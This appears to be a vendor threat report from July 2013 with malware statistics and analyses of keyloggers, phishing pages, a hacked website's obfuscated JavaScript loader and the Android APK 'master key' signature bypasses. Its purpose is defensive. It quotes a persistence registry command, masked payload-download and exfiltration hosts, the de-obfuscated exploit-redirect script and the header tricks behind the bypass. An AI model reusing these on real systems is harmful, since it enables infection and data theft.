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Ranking ↑↓ Malicious Code Reports   Percentage

3

1 ▲2 Textimage/Autorun 131,381 11.3 %

2 ▲4 Trojan/Win32.urelas 125,869 10.8 %

3 �1 Win-Trojan/Wgames.Gen 91,128 7.8 %

4 ▲4 Trojan/Win32.agent 89,621 7.7 %

5 ▲6 BinImage/Host 67,805 5.8 %

6 �2 Win-Trojan/Onlinegamehack140.Gen 66,851 5.7 %

7 ▲2 Als/Bursted 63,216 5.4 %

8 �3 Trojan/Win32.onlinegamehack 61,472 5.3 %

9 ▲1 RIPPER 60,764 5.2 %

10 �9 ASD.PREVENTION 52,879 4.5 %

11 NEW JS/Agent 48,230 4.1 %

12 ▲7 Trojan/Win32.adh 43,877 3.8 %

13 ▲3 Win32/Autorun.worm.307200.F 38,180 3.3 %

14 �2 Win-Trojan/Asd.variant 36,751 3.2 %

15 ▲5 Trojan/Win32.Gen 35,553 3.1 %

16 �2 Win-Trojan/Malpacked5.Gen 32,997 2.8 %

17 NEW Trojan/Win32.fakeav 31,242 2.7 %

18 �1 Win-Trojan/Avkiller4.Gen 30,172 2.6 %

19 �4 Malware/Win32.suspicious 29,183 2.5 %

20 NEW Lsp/Agent 27,911 2.4 %

 TOTAL 1,165,082 100.0 %

Table 1-1 | Top 20 Malicious Code Reports for July 2013 (Based on Infection Report and Malicious Code name)
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01.
Malicious Code Statistics

According to the statistics collected by ASEC, 3,340,338 malicious codes were reported in July 

2013. The number of reports decreased by 797,691 from the 4,138,029 reported in the previous 

month. (See [Figure 1-1].) The most frequently reported malicious code was Textimage/

Autorun, followed by Trojan/Win32.urelas and Win-Trojan/Wgames.Gen. Also, a total of 3 

malicious codes were newly added to the “Top 20” list. (See [Table 1-1].)

The number of malicious 

codes reported in July 

decreased by 790,000 

from the previous month

Figure 1-1 | Monthly Malicious Code Report Changes
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Ranking Malicious Code Reports   Percentage

Ranking ↑↓ Malicious Code Reports   Percentage

Table 1-2 | Top 20 Malicious Code Reports

1 — Trojan/Win32 584,130 29.1 %
2 — Win-Trojan/Agent 154,347 7.7 %
3 ▲3 Textimage/Autorun 131,397 6.6 %
4 — Win-Trojan/Onlinegamehack 116,898 5.8 %
5 ▲3 Win-Trojan/Downloader 100,780 5.0 %
6 �1 Win-Trojan/Wgames 91,128 4.5 %
7 ▲5 Win32/Conficker 69,254 3.5 %
8 ▲9 BinImage/Host 67,805 3.4 %
9 ▲1 Adware/Win32 67,449 3.4 %

10 ▲1 Win32/Virut 67,126 3.3 %
11 �2 Win-Trojan/Onlinegamehack140 66,851 3.3 %
12 �5 Malware/Win32 64,865 3.2 %
13 — Win32/Autorun.worm 64,381 3.2 %
14 — Als/Bursted 63,216 3.2 %
15 — RIPPER 60,764 3.0 %
16 — Win32/Kido 53,122 2.7 %
17 �14 ASD 52,879 2.6 %
18 NEW JS/Agent 48,399 2.4 %
19 �1 Downloader/Win32 46,123 2.3 %
20 �1 Win-Trojan/Asd 36,751 1.8 %

 TOTAL 2,007,665 100.0 %

1 Win-Trojan/Downloader.206352.C 12,570 32.4 %
2 Win-Trojan/Clicker.23552 8,335 21.5 %
3 ACAD/Busted 4,361 11.2 %
4 Win-Trojan/Agent.107520.ABA 1,852 4.8 %
5 Win-Adware/KorAd.111616 1,375 3.5 %
6 Win-Trojan/Downloader.11931.B 1,194 3.1 %
7 Win-Trojan/Downloader.104448.H 1,081 2.8 %
8 Win-Trojan/Onlinegamehack.83897472.B 987 2.5 %
9 JS/Ddos 926 2.4 %

10 Win-Trojan/Agent.187103 884 2.3 %
11 Win-Trojan/Agent.28160.TQ 835 2.2 %
12 Win-Trojan/Agent.33280.XA 650 1.7 %
13 Win-Trojan/Agent.11931.B 634 1.6 %
14 Win-Trojan/Downloader.135168.HG 579 1.5 %
15 Win-Trojan/Agent.150624 542 1.4 %
16 Win-Trojan/Agent.102400.AEQ 465 1.2 %
17 Win-Adware/KorAd.193377 418 1.1 %
18 Win-Trojan/Agent.79296512 406 1.0 %
19 Win-Trojan/Morix.97792 382 1.0 %
20 Win-Trojan/Agent.150624.B 358 0.8 %

 TOTAL 38,834 100.0 %

Top 20 Malicious Code 

Reports

Trojan Horse – The most 

frequently reported new 

malicious code in July

[Table 1-2] below shows the percentage breakdown of the Top 20 malicious codes and variants 

reported this month. As for July 2013, Trojan/Win32 (584,130) was the most frequently reported 

malicious code among the Top 20 malicious code variants, followed by Win-Trojan/Agent 

(154,347) and Textimage/Autorun (131,397).

[Table 1-3] shows the percentage breakdown of the Top 20 new malicious codes reported in 

July. Win-Trojan/Downloader.206352.C was the most frequently reported new malicious code 

in July, representing 32.4% (12,570) of the Top 20 new malicious codes, followed by Win-Trojan/

Clicker.23552 (8,335).

Table 1-3 | Top 20 New Malicious Code Reports in July
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Figure 1-2 | Malicious Code Type Breakdown

Figure 1-3 | Malicious Code Type Breakdown for July 2013 vs. June 2013

“Trojan Horse (52.7%)” 

ranked as the most 

reported malicious code 

type in July

Comparison of Malicious 

Codes with Previous Month

[Figure 1-2] categorizes the top malicious codes reported by AhnLab customers in July 2013. 

Trojan was the most reported malicious code, representing 52.7% of the total, followed by 

Worm (8.5%) and Adware (5.9%).

[Figure 1-3] shows the malicious code breakdown compared to the previous month. Compared 

to last month, the number of Worms, Scripts, Viruses, and Exploits increased, whereas the 

number of Trojan horses, Adware and Spyware decreased. The numbers of Downloaders and 

Appcare were similar to those of the previous month.
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Breakdown of New 

Malicious Code Types

Figure 1-4 | Breakdown of New Malicious Code Types

Trojan Horse was the most frequently reported new malicious code type in July, representing 

81% of the new malicious code types, followed by Adware (5%) and Exploit (2%).
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3.The cklmde.scr file runs the Chrome browser in the 

background and executes the keylogging function through 

thread injection.

4.Save keyboard strokes in the %appdata%\dclogs\[Date 

Time].dc file.

5.Periodically send the saved keylogging file to the sant***.

n**p.org:4666 (216.***.1**.218).

V3 can detect this malware as below: 

<Malware name in V3 products>

-Trojan/Win32.Inject (AhnLab, 2013.07.11.00)

Fraudulent emails disguised as purchase order 
emails

Recently, there have been reports on scam emails with suspicious 

attachments. ASEC could not exactly verify the mail subjects and 

contents since the original emails were not reported, but we could 

verify emails with the same subject through some websites. As 

shown in [Figure 1-13], the scam emails lure users into clicking 

the attached PO to check the purchase status. 

ASEC assumes that the company is related to tungsten carbide 

and tool steel recycling. (See the website in [Figure 1-14].) It 

Caution: Keyloggers claiming to be purchase 
orders are circulating!

Recently spam emails with malicious purchase orders that infect 

the victims' computers have been reported overseas. Only a few 

similar cases have been reported in Korea. However, employees 

who frequently exchange POs or contracts via email need to pay 

extra caution as the number of malware attacks using the same 

pattern increases steadily. The discovered spam email is shown 

in [Figure 1-10]. 

The email attachment actually contains a zip file. When unzipped, 

it reveals a malicious .exe file (.scrt) disguised as a fake PDF icon. 

When executed, the malicious codes works in the following 

sequence.  

1.Create its own copy in the path %appdata%\clkmedia\    

cklmde.scr.

2.Save the following command lines in the Batch file to 

start automatically when the system is rebooted. REG ADD 

"HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 

/v "clkmedsa" /t REG_SZ /d "C:\Documents and Settings\

Administrator\Application Data\clkmedia\cklmde.scr" /f 

Figure 1-10 | Email with a malicious attachment

   
Malicious Code Trends

02.
Malicious Code Issues

Figure 1-11 | Decompressed malicious file

Figure 1-13 | Assumed original email contents
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seems the fraudulent emails were sent out to metal-working 

companies. 

The attached file is compressed. When unzipped, it reveals a 

malicious executable file with the fake PDF extension and icon as 

shown in [Figure 1-15].   

When executed, it infects systems instead of displaying an actual 

PDF document. The major files are created as below:

CREATEC:\Documents and Settings\Administrator\Application 

Data\xxx.html

DELETEC:\Documents and Settings\Administrator\Application 

Data\xxx.html

CREATEC:\Documents and Settings\Administrator\Application 

Data\Ad0be\Ad0be.exe

CREATEC:\Documents and Settings\Administrator\Application 

Data\1.html

DELETEC:\Documents and Settings\Administrator\Application 

Data\1.html

CREATEC:\Documents and Settings\Administrator\Application 

Data\Ad0be\logs\17.07.2013.arl

It registers its value in the system registry to run automatically at 

system startup. Fake values as similar as normal program values 

are used to trick users and analysts. 

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\

Adobe Reader Speed Launcher

"C:\Documents and Settings\Administrator\Application 

Data\Ad0be\Ad0be.exe"

As shown in [Figure 1-16], it attempts to connect to the specific 

server whose address is verified to be a domain using the DDNS 

(Dynamic DNS) service. 

The collected system information is sent to the specific server. (See 

[Figure 1-17].) 

The spam emails allegedly coming from official agencies or 

companies have continuously distributed malicious codes through 

attachments. The variety of intelligence gathering techniques 

have been used to target specific entities, like the Advanced 

Persistent Threat (APT) attacks.

Users must be aware of these security threats and make efforts 

to protect personal and company assets.

V3 can detect this malware as follows.

<Malware name in V3 products>

-Spyware/Win32.Zbot (2013.07.12.01)

-Trojan/Win32.Inject (2013.07.18.00)

Warning alerts on PayPal phishing

Phishing and pharming scams that steal sensitive personal and 

financial information are rampant at home and abroad. Recently, 

there have been reports on PayPal phishing scams using 

obfuscated codes ([Figure 1-18]). PayPal is a company that allows 

payment transactions via the internet.  

Decoding the obfuscated malicious codes reveals the PayPal 

phishing page. This page requests users to enter personal 

information, PayPal IDs, passwords and even credit card 

information. 

Figure 1-14 | Related company website

Figure 1-15 | Decompressed malicious file

Figure 1-16 | Requested DNS information

Figure 1-17 | Packet related to the transferred system information

Figure 1-18 | Obfuscated PayPal phishing page
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When unzipped, it reveals a malicious executable file (127 KB) 

with a fake PDF icon. (See [Figure 1-31].) 

The executed malicious code works as below: 
 

1. Access the following URLs to download additional malicious 

codes.

money******eting.com/dL1.exe

abbe****ts.co.uk/fNF1.exe

salsa****nfuego.com/RCY.exe

f***s.info/PwvextRo.exe

2. Save the downloaded malicious code as an %Application 

Data%\Keivyh\veqilo.exe file and register it in the Run registry 

to run automatically at system restart.

3. Modify the firewall registry to open following ports.

UDP 2253

TCP 4302

4. Inject the executed malicious code in the Explorer.exe file to 

regularly communicate with various IPs.

V3 can detect this malware as below: 

<Malware name in V3 products>

-Trojan/Win32.Zbot (2013.07.23.04)

Malware exploiting NTFS file system

Online game hack, pharming and phishing malicious codes that 

The fraudulent page uses the actual PayPal page image files to 

avoid user detection.  

When the user enters and saves all the requested information, 

the collected information is sent to the remote system. After 

successfully sending the stolen information to the remote system 

with the specific IP address in the US, the malware redirects the 

user to the official PayPal page to avoid the user's detection or 

suspicion.  

V3 can detect this malware as below: 

<Malware name in V3 products>

-JS/Bankfraud (AhnLab, 2013.07.10.00)

Malicious spam emails with company domain 
files are put in circulation

According to the ASEC analysis results on foreign malicious spam 

emails, scam emails with 'Docs_(Company domain).zip' files 

have been detected. Users who are unfamiliar with spam emai 

ls might think that the attachment with the company domain is 

safe and click it without any suspicion, resulting in serious system 

infections. Extra caution is advised.

The detected malicious spam emails are reported as shown in 

[Figure 1-30]. 

Figure 1-19 | PayPal phishing page

Figure 1-20 | De-obfuscated PayPal phishing page code

Figure 1-21 | Stealing personal information

Figure 1-30 | Emails with malicious attachments

Figure 1-31 | Decompressed malicious file
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The Bitcoin-stealing malicious codes exploit MFT entry properties 

to patch codes of Windows system file (services.exe) MFT entry 

properties. To get the patched codes in MFT entry properties, the 

MFT of the services.exe file calculated offset values for saving 

malicious codes must be obtained. 

According to the ASEC analysis, the MFT entry property values of 

the final offset shows PE Headers, determining the files as dll files. 

Malicious codes disguised as illegal software products, movies, or 

mp3 music files keep emerging in Korea. To protect your computer, 

please do not download any suspicious or illegal files.

V3 can detect this malware as below: 

<Malware name in V3 products>

-Trojan/Win32.Inject (2013.07.31.03)

International website of Japanese automobile 
manufacturer spreads malicious codes

On July 9 2013, an international website of a Japanese automobile 

manufacturer was hacked and distributed malicious codes. The 

obfuscated script was inserted at the top of the main page of the 

steal financial information an

d money continue to be a serious social issue, and all of the 

related malicious codes rank on the list of Korea's top 10 

malicious codes. New malicious code variants for stealing 

financial information (ex: Zeus, Spy Eye, Citadel, KINS and others) 

have been reported abroad. 

Recently, cybercriminals attempt to steal cryptocurrency called 

Bitcoin. Bitcoin is independent virtual money that is transferred 

through a computer without an intermediate financial institution. 

In earlier days, Bitcoin was used for illegal money transactions 

such as gambling or drug trafficking, but nowadays it is used as 

a general financial instrument to buy goods from online stores. 

In the first half of 2013, malicious codes that steal Bitcoin were 

reported most frequently. 

Systems infected with Bitcoin-related malicious codes have 

continuously been reported in Korea. The cybercriminals use file 

distribution programs (ex. Torrent) and disguise such Bitcoin-

related malicious codes as keygens or cracked software products 

to distribute them. The Bitcoin-stealing malware attacks 

specifically targeting Mac users are increasing rapidly. 

As the attack and infection methods are well advanced and 

sophisticated, it is not easy to analyze or repair infected systems. 

Let's check out how malicious codes exploit use MS NTFS (New 

Technology File System) to avoid malware detection and interrupt 

repairs. 

The NTFS file system contains the MFT table (Master File Table) 

that includes information of all files and directories existing in 

the volume. If you look at the NTFS file system in [Figure 1-41], 

the MFT is located after the VBR (Volume Boot Record), but the 

location can be changed.  

Figure 1-39 | Spy Eye

Figure 1-40 | Bitcoin

Figure 1-41 | NTFS file system

Figure 1-42 | MFT

Figure 1-43 | MFT
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8apaoagabab9na1a19nbiblb9c7b7c8anaoahaeada4d3d3a3bibl

b9c7b7c8apaoaiabab9na1a19nbiblb9c7b7c8anaoaiabaka4a4d

291cfcic6c4cncccicha9cbclc8c9ao9pcdciclcaa9cbcncgcf9pam

91d4c8cfcmc89nd291ccc9a3a3biblb9c7b7c8apaoaiacab9na1a

19nbiblb9c7b7c8anaiadaca4a491cfcic6c4cncccicha9cbclc8c9a

o9pcdcfcjcha9cbcnbrcrahc7cf9pam91c8cfcmc891cfcic6c4cnc

ccicha9cbclc8c9ao9pcjc7c9cra9cbcnbrcrahc7cf9pam91d491</

textarea>

When the script is de-obfuscated, it reveals the following codes 

and checks Java versions to download and run another malicious 

html file.

var SVJdHe = window.PluginDetect.getVersion("Java");

if(typeof SVJdHe == 'string') {

SVJdHe = SVJdHe.split(",");

if(SVJdHe[3].length==1) {

SVJdHe = ""+SVJdHe[1]+"0"+SVJdHe[3];

} else {

SVJdHe = ""+SVJdHe[1]+SVJdHe[3];

}

} else {

SVJdHe = 0;

}

if((SVJdHe>=500 && SVJdHe<=632)||(SVJdHe>=700 && 

SVJdHe<=709)){

location.href="jorg.html";

}else{

if((SVJdHe>=710 && SVJdHe<721))

location.href="jlpn.ht\x6dl";

else

location.href="pdfx.ht\x6dl";

}

At the time of the ASEC analysis, the html file downloaded to the 

infected PC was a jorg.html file which contained linked URLs and 

a jar file exploiting Java vulnerability

hacked website. (See [Figure 1-44].) 

According to the ASEC analysis result of the obfuscated codes in 

[Figure 1-44], the malware downloads malicious scripts from the 

specific URL using the iframe tag as shown in [Figure 1-45]. 

The malicious scripts downloaded from the above addresses 

consist of two different scripts respectively. The 'script 

1'downloads the auzzxc.html file with obfuscated codes through 

<iframe style="display:none;" src="auzzxc.html" id="mqsvry"></

iframe> and calls the auzzxc.html code from the end of the script 

to decode obfuscated codes.
 

window.onload=function(){

var nsabmwc=parseInt;

var zynnutkf="mqsvry";

wsfjcfx=document.getElementById(zynnutkf ).contentWindow;

jnnoktt=wsfjcfx.document.getElementById("umlfysf");

abxv="";

for(ppqrwl=0;ppqrwl<jnnoktt.value.length;ppqrwl+=2)

abxv+=String.fromCharCode(nsabmwc(jnnoktt.value.

substr(ppqrwl,2),28)-243);

eval(abxv);

}

<textarea id="umlfysf">91cpc4cl9nbiblb9c7b7c89nao9ncqccch

c7cicqa9bfcfcocaccchb3c8cnc8c6cna9cac8cnblc8clcmcccicha

39pb9c4cpc49pa4am91ccc99na3cnd0cjc8cic99nbiblb9c7b7c8

9naoao9na2cmcnclccchcaa2a49nd291biblb9c7b7c89nao9nbib

lb9c7b7c8a9cmcjcfcccna39pa79pa4am91ccc99na3biblb9c7b7

c8bqaec0a9cfc8chcacncbaoaoaca49nd291biblb9c7b7c89nao9

n9p9pa6biblb9c7b7c8bqacc0a69pab9pa6biblb9c7b7c8bqaec0

am91d49nc8cfcmc89nd291biblb9c7b7c89nao9n9p9pa6biblb9

c7b7c8bqacc0a6biblb9c7b7c8bqaec0am91d491d49nc8cfcmc8

9nd291biblb9c7b7c89nao9nabam91d491ccc9a3a3biblb9c7b7c

Figure 1-44 | Inserted malicious script codes

Figure 1-45 | De-obfuscated script codes

Table 1-4 | De-obfuscation routin of the 'script 1'

Table 1-5 | Major codes of the auzzxc.html

Table 1-6 | De-obfuscated codes

Figure 1-46 | Main codes of the jorg.html
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When the download is complete, the following files are 

downloaded in the path /mnt/sdcard/usbcleaver/system. The 

autorun.inf, go.bat file are also downloaded in the path mnt/

sdcard. 

After connecting the devices to the PC, click the Enable / Disable 

Payloads button, select desired information, then click the 

Generate Payload button. When you click the Payload Generated 

button, you can obtain the PC information. 

[Information obtained from PCs]

- PC network information

- FireFox, Chrome, IE password information

- Wi-Fi password information

[Figure 1-51] shows the screen of obtained PC network 

information. The related files are saved in the path /mnt/sdcard/

usbcleaver/logs/. 

Android app stealing PC information

Recently, articles about an explosion of smartphone malicious 

codes have been frequently released. The most frequently reported 

malicious code in Korea is a 'Smishing' attack, a form of  criminal 

activity using social engineering techniques such as text messages 

or mobile messengers. Smishing is a compound word of 'SMS and 

Phishing', causing the largest damage and losses in Korea. 

The Smishing malicious code is a malicious code leveraging 

mobile attributes, whereas FakeAV, ransomware and other 

malicious codes are the advanced forms of PC malicious codes. 

The 'USB Cleaver' app, one type of a hacking tool, contains 

functions similar to those PC hacking tools. 

The 'USB Cleaver' app is a PC information-stealing app that 

creates an icon as shown in [Figure 1-47] after app installation.

When the application is installed, three menus are displayed. 

(See [Figure 1-48].) If you select the 'Download Payloads' button, 

various tools are downloaded to collect PC information. 

Figure 1-47 | Icon Image

Figure 1-48 | Payloads download

Figure 1-49 | Downloaded files

Figure 1-50 | Payloads Generate screen

Figure 1-51 | PC network information

   
Malicious Code Trends

03.
Mobile Malicious 
Code Issues
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banking apps that steal account information from Korean users. 

Let's take a closer look at this master key vulnerability.

ZIP file structure

APK (Android application package) uses a standard Zip file format 

that is defined by PKWARE, Inc. To understand the vulnerability, 

you need to understand the ZIP file structure first. 

Generally zip files consist of 'Local file header', 'File data', 'Central 

directory header'and 'End of central directory record'. Short 

details on each item are listed in [Table 1-7]. 

[Figure 1-52] shows parts of the batch file that is executed by 

autorun.inf when a device is connected to the infected system. 

Considering the facts that the app has functions to collect PC 

information and uses the USB auto-run function to run Windows 

processes and that there had been reports on malicious codes 

using these functions in the past, the evolution pattern of these 

apps are similar to that of PC malicious codes. According to the 

ASEC analysis results on this app, there is no code performing 

malicious actions and it only requests only SD cards or network 

related permissions. 

Due to all these reasons, V3 mobile products detect this malicious 

code as a form of AppCare. AppCare is a program that is not 

intended for malicious actions but can cause harmful effects 

depending on how it is used. ASEC recommends not using these 

applications even if they are not malicious codes. To minimize the 

newly discovered malicious app infection, it is advised to install 

reliable mobile anti-virus programs like V3 mobile products.

V3 Mobile product detects this malware as below: 

<Malware name in V3 products>

-Android-AppCare/UsbCleaver.4EFE8 

Android certificate bypass vulnerability

On July 3, Bluebox announced a vulnerability that bypasses the 

certification process during an Android app installation. This 

vulnerability that called 'Master Key vulnerability' exploits the 

fact that the decompression module is different from the internal 

app file verification module when the app is installed on Android 

devices. The master key vulnerability can allow the malware to 

perform malicious actions without modifying the certificates if the 

malicious functions are added into normal files. 

For Android devices, the certificate is a very important security 

function to identify code creators or app modifications. This 

master key vulnerability incapacitates Android security policies 

that identify app creators based on certificates. After media 

reports about the master key vulnerability were released, cyber 

attackers have continuously exploited security holes in Chinese 

Android marketplaces to spread malware by repackaging well-

known apps. In addition, there have been reports on repackaged 

Figure 1-52 | go.bat codes

Figure 1-53 | Structure of zip files

Category Description

End of central directory record

It is located at the end of the zip file, 

containing the number of compressed 

files and the start point of the 'Central 

directory header'

Central directory header

The central directory header number 

is the same as the compressed file 

number, and it contains compressed/

original file sizes, compressed file 

names, and the 'local file header' 

location with the compressed data.

Local file header

The local file header number is the 

same as the compressed file number, 

and it is the compressed data header 

which contains compressed 'File data' 

at the bottom.

File data

The file data number is the same as 

the compressed file number, and it 

contains compressed file data.

Table 1-7 | Detailed ZIP file structure

Consists the same number 
of headers and data as the 
number of compressed 
files.

Consists the same number 
of headers as the number 
of compressed files.
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3. The file data number is the same as the compressed file 

number, and it contains the compressed file data. You can move to 

the 'Local file header' to decompress the file.

4.The 'Local file header' length is variable as the 'Central 

directory header'. The start point of the 'File data' where the 

actual compressed data exists can be calculated by adding the 

size of the 'File name length' and 'Extra field length' to the 'Local 

file header' size. [Figure 1-56] shows how to get the 'File data' 

location when the 'File name' is 11 and the 'Extra field' is 0.

Android certificate bypass vulnerability
1. Master Key vulnerability

If the APK file contains more than two files with the same path, 

the Java code recognizes only the last file but the C++ program 

recognizes only the first file. As a result, the malicious file can 

be installed despite the fact that Java authorizes apps with 

normal files.

Malicious apps exploit this difference to bypass the app integrity 

verification and execute the actual malicious DEX or other 

duplicated malicious files by including the malicious DEX at the 

front of the classes.dex file of normal APKs.

Vulnerability details

Android devices perform file integrity verifications using the 

methods listed in the following [Table 1-8]. 

ZIP file translation

As shown in [Figure 1-54], the ZIP file translation starts from the 

end of file. The process can be summarized as below.

1. The system finds the 'End of central directory record' at the 

end of the file to obtain the number of compressed files in the 

ZIP file, the start point of the 'Central directory header' and other 

information.

2. The system moves to the start point of the 'Central directory 

header' obtained from the 'End of central directory record' to 

collect information from each 'Central directory header'. Most 

importantly, the size of the 'Central directory header' includes 

three variable data: 'File name length', 'Extra field length' and 

'File comment length'. This means that three variable data sizes 

need to be added to the base header size to figure out the start 

point of the 'Central directory header'. 

The compressed 'File data' size might not exist in the 'Local file 

header' depending on the compression option. It is required to get 

the value from the 'Central directory header'. [Figure 1-55] shows 

how to get the location of the 'Central directory header' when the 

'File name' is 11 and both 'Extra field' and 'File comment' are 0. 

Figure 1-54 | ZIP file translation

Figure 1-55 | Central header location

Figure 1-57 | Master key vulnerability

Figure 1-56 | File data location

1. Check the number of 
Central Directory header 
and it's start point

3. Move to the start points 
of each Local file headers 
using the information 
collected from Central 
Directory header

4.Decompress the files 
based on the collected 
information from Central 
Directory header

2.Collect as many header 
data as the number of 
Central Directory header

46 (Fixed size)
Central directory header size : 46(Fixed size)
File name legnth : 11(Filename length)
Extra field length : 0 (Extra field length)
File comment legnth : 0(File comment length)

Next header = Current location + 46  + (11 + 0 + 0)

Local file header size : 30 (Fixed size)
File name legnth : 11(Filename length)
Extra field length : 0 (Extra field length)
File data location : 
     Local file header location + 30 + (11 + 0)

The App developed 
using normal process Insert malicious DEX

Verify integrity (Java)

Actual execution (C++)

M
odification
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The file hash and certificate information for integrity verification 

are saved in the APK META-INF folder. The Android system 

checks app damages by comparing these values with certificate 

values of all files. The vulnerability occurs through this process 

and these values are saved in the Hashtable (see [[Table 1-9]) 

when certification information for all files are loaded and collected 

in the beginning. 

The Hashtable data type saves a dictionary keyword and its 

meaning as a pair. A key and its actual value are saved as a pair to 

distinguish the data. There is no duplicate key value as a keyword 

is unique in the dictionary. If two values are entered for the same 

keyword, the existing value is changed into the latter value.

For example, one of the variables listed in [Table 1-9] saves the 

data by setting its file name as Key and saving the certificate 

data as value. If there are n-files with the same name, certificate 

data for all previous files (n-1) is changed with the certificate 

information of the last file. In short, accessing data through the 

above variable verifiedEntries['File name'] displays certificate data 

of the last file. 

[Table 1-10] shows vulnerability codes of actual problems. 

Due to the above vulnerability codes, the Android system recognizes 

the malicious apps as normal apps despite the malicious DEX 

being added to the zip file. In addition, there have been reports that 

duplicated AndroidManifest.xml files are inserted to get several 

permissions without the user's awareness.

2. Android decompression (C++)

C++ sources are listed in [Table 1-11] to compare with the Java 

compression module, . The following source is the ZipArchive.

cpp source in the 'dalvik/libdex' library. Each function is a sub-

function of the dexUnzipToFile function that is used for extracting 

the DEX to run apps in the Dalvik VM. 

/luni/src/main/java/java/util/jar/JarVerifier.java
The following functions are called when the file data is read through 
the app JarFile object, and the file name and its certificate information 
are included in the verifiedEntries variable. However, the vulnerability 
occurs as the file name is set for the key.
void VerifierEntry.verify() {
    byte[] d = digest.digest(); // digest.digest() is a file data hash
   if (!MessageDigest.isEqual(d, Base64.decode(hash))) { // Comparing 
values with the hash saved in META-INF 
 throw invalidDigest(JarFile.MANIFEST_NAME, name, jarName);
    }
    verifiedEntries.put(name, certificates);
}

/luni/src/main/java/java/util/jar/JarEntry.java
Certificate information saved above is returned. The problem occurs 
as the data with above vulnerability is used.
Certificate[] JarEntry.getCertificates(String name) {
      Certificate[] verifiedCerts = verifiedEntries.get(name);
         if (verifiedCerts == null) {
            return null;
         }
         return verifiedCerts.clone();
}

private final Hashtable<String, Certificate[]> verifiedEntries = new 
Hashtable<String, Certificate[]>();

Table 1-9 | Variables saving certificate information by exploiting 
vulnerability

Table 1-8 | Android app installation call tree

PackageManagerService.installPackageLI() Install apps (If the following 
functions are called)
└〉PackageParser.collectCertificates() Load app certificates (for all files)
   └〉PackageParser. loadCertificates() Load specific file certificates
      └〉JarEntry.getInputStream() Get streams
      └〉JarFileInputStream.read() Perform integrity verifications 
                   while reading files
         └〉VerifierEntry.verify() Save verificiation results in the
                          verifiedEntries ** Vulnerability occurs
      └〉JarEntry.getCertificates() Load file certificates
         └〉JarVerifier.getCertificates(getName()) Get certificates 
                     through file names ** Vulnerability relevance
└〉PackageManagerService.scanPackageLI() Install apps
   └〉PackageManagerService. verifySignaturesLP() 
             Verify certificates for all files
         └〉PackageManagerService.compareSignatures() 
                     Verify certificates for all files

Table 1-10 | Vulnerability occurring location

static int parseZipArchive(ZipArchive* pArchive) { // Parsing Zip 
   int numEntries = pArchive->mNumEntries;

   // Generate HashTables proportional to the zip entry number
   pArchive->mHashTableSize = dexRoundUpPower2(1 + (numEntries * 4) / 3); 
   pArchive->mHashTable = (ZipHashEntry*)calloc(pArchive->
   mHashTableSize, sizeof(ZipHashEntry));   

   for (i = 0; i < numEntries; i++) {
         // Add data at the end of array
        addToHash(pArchive, (const char*)ptr + kCDELen, fileNameLen, hash);
   }
}

ZipEntry dexZipFindEntry(const ZipArchive* pArchive, const char* 
entryName) { // Return DEX entry
   // Return entries with the same name as looping over the array
   while (pArchive->mHashTable[ent].name != NULL) {
       if (pArchive->mHashTable[ent].nameLen == nameLen &&
      memcmp(pArchive->mHashTable[ent].name, entryName, 
      nameLen) == 0) {
            // Return entries
      }
   }
}
// The above entries are simple arrays of the following structure.
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[Figure 1-59] shows the local file header. In the figure above, 

variables have fixed lengths except the file name and the extra 

field. The file name and the extra field can be decided based on 

the file name length and the extra field length (2-byte).

[Figure 1-60] shows the functions that extract individual files to 

verify APK file integrity check in the Android devices. 

The localExtraLenOrWhatever means the Extra Field length in 

the local file header. In the first red box, the short data type is 

allocated to the int data type and Java conversion returns negative 

values if the number is higher than 2^15. In the second red box, 

the 'rafstrm.skip(entry.nameLength + localExtraLenOrWhatever);' 

result cannot skip the extra field normally. This means the 

malicious application can bypass Android authentication if the 

source file is in the extra field. 

As the local file header vulnerability depends on the size of the 

extra field, this vulnerability occurs only when the source classes.

dex size is equal to or less than 2^16-1 (64K).

4. Central Header Vulnerability

This vulnerability exists in Java when it processes the extraLength 

size greater than 0 and does not process the extraLength size 

less than 0.

Unlike Java, the data used by functions above is saved as a simple 

array. As a result, the first DEX is effective despite the DEX file 

being compressed with duplicated names.

The implementation difference that Android verifies data integrity 

through the last DEX and executes the first DEX is the underlying 

cause of the vulnerability.

3. Local header vulnerability

When Java converts the short data type into the int data type, Java 

recognizes numbers greater than 2^15 as negative values but the 

native unzip module created with C++ does not recognize them 

as negative values. The vulnerability occurs because Java for 

certificate authentication recognizes ExtraLength sizes greater 

than 2^15 as negative values but C++ does not recognize them as 

negative values during header parsing.

Vulnerability details 

The following codes indicate problems arising when Java converts 

the short data type into the int data type. 

The code execution above generates the following results. 

Figure 1-58 | Codes indicating problems in converting short data 
type into int data type

Figure 1-59 | Zip local file header

Figure 1-60 | Get Input Stream (Zip Entry)

Figure 1-61 | Local file header vulnerability diagram

-1
65535 

Table 1-11 | C++ source different from Java

struct ZipHashEntry {
   const char* name;
   unsigned short nameLen;
};
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d length', Java recognizes no 'Extra field' because the value less 

than 0 is recognized as '-32768'. The C++ recognizes the 'Extra 

field' size as '32768'.

As shown in [Figure 1-65], Java reads the 'Central directory 

header' from the 'Extra field', but C++ reads the 'Central 

directory header' in the next zone by skipping the 'Extra field' 

whose size is '32768'. As a result, Java and C++ read totally 

different 'Central directory headers' and the referential 'Local 

file headers' can be configured differently.

Samples exploiting master key vulnerability

ASEC has found more than 40 of POC samples or vulnerability 

attack samples in July. [Figure 1-66] shows samples exploiting 

this vulnerability. 

[Figure 1-66] shows malicious samples that contain two DEXs and 

AndroidManifest.xml files. As shown in the directory structure, 

the malicious file and the normal file exist in sequence. The 

Android is developed with both Java and C++ 2, which contains 

programs with both computer languages. The Android verification 

module for application installation programs is developed with 

Java, while the installation module is developed with C++.

The 'extra length' and 'comment length' existing in the 

central header of zip files are 2-byte data type. The certificate 

authentication module among Android application installation 

modules handles 2-byte data type as short using Java language, 

while the installation module handles 2-byte data type as 

'unsigned short' using C++ language.

In [Figure 1-62], Java expresses '0x8000' as '-32768' but C++ 

expresses as '+32768'. This is because Java does not support 

the 'unsigned' data type. 

Android source code handles data if the 'extraLength' size is 

greater than 0. And it does not handle any data if the size is 

equal to or less than 0. 

If attackers respectively set negative values for Java and positive 

values for C++ in the 'Extra field length' and the 'File comment 

length', they can control the zip compression file translation. 

When Android applications are installed, the certificate 

verification does not verify the files and the directory files 

in the 'META-INF' directory which contains the necessary 

authentication data. 

If you create temporary files in the sub-directory of 'META-INF' 

and set '0x8000' for 'Extra fiel

Figure 1-62 | Java and C++ data type

Figure 1-63 | Java handling the central header

Figure 1-64 | Java directory verification

